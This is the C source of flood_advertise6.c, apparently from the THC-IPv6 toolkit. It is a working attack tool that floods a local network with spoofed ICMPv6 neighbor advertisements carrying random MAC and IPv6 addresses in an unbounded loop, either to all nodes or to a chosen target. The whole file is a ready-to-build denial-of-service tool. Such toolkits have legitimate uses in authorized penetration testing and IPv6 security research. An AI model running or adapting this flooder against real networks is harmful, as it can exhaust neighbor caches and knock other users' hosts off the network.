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flood_advertise6.c
127 lines (114 loc) · 3.63 KB
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flood_advertise6.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-k | -m mac] interface [target]\n\n", prg);
printf("Flood the local network with neighbor advertisements.\n");
printf(
"Option -k sends with your real src mac, -m with a specified src mac, "
"random for each packet otherwise.\n");
// printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char * interface, mac[6] = "";
unsigned char *mac6 = mac, *ip6;
unsigned char buf[24], srcmac[8] = "", *smac = NULL;
unsigned char *dst = thc_resolve6("ff02::1"),
*dstmac = thc_get_multicast_mac(dst);
int i;
unsigned char *pkt = NULL;
int pkt_len = 0, flags, rawmode = 0, count = 0, prefer = PREFER_LINK,
keepmac = 0;
if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) {
keepmac = 1;
if ((smac = thc_get_own_mac(argv[2])) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", argv[2]);
exit(-1);
}
argv++;
argc--;
}
if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) {
sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0],
(unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2],
(unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4],
(unsigned int *)&srcmac[5]);
smac = srcmac;
argv += 2;
argc -= 2;
}
if (smac != NULL) mac6 = smac;
if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (argc == 3) {
if ((dst = thc_resolve6(argv[2])) == NULL) {
fprintf(stderr, "Error: invalid target IPv6 address\n");
exit(-1);
} else {
dstmac = thc_get_mac(interface, NULL, dst);
}
if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL;
}
ip6 = thc_get_own_ipv6(interface, dst, prefer);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6 + 8, 0, 8);
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
memset(buf, 0, sizeof(buf));
buf[16] = 2;
buf[17] = 1;
buf[18] = mac[0];
buf[19] = mac[1];
memcpy(buf, ip6, 16);
flags = ICMP6_NEIGHBORADV_OVERRIDE;
printf(
"Starting to flood network with neighbor advertisements on %s (Press "
"Control-C to end, a dot is printed for every 1000 packets):\n",
interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
count++;
memcpy(buf + 10, ip6 + 10, 6);
memcpy(&buf[20], mac + 2, 4);
if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, ip6, dst,
255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf,
sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
// fprintf(stderr, "Error sending packet no. %d on interface %s: ",
// count, interface); perror(""); return -1;
printf("!");
}
pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 1000 == 0) printf(".");
}
return 0;
}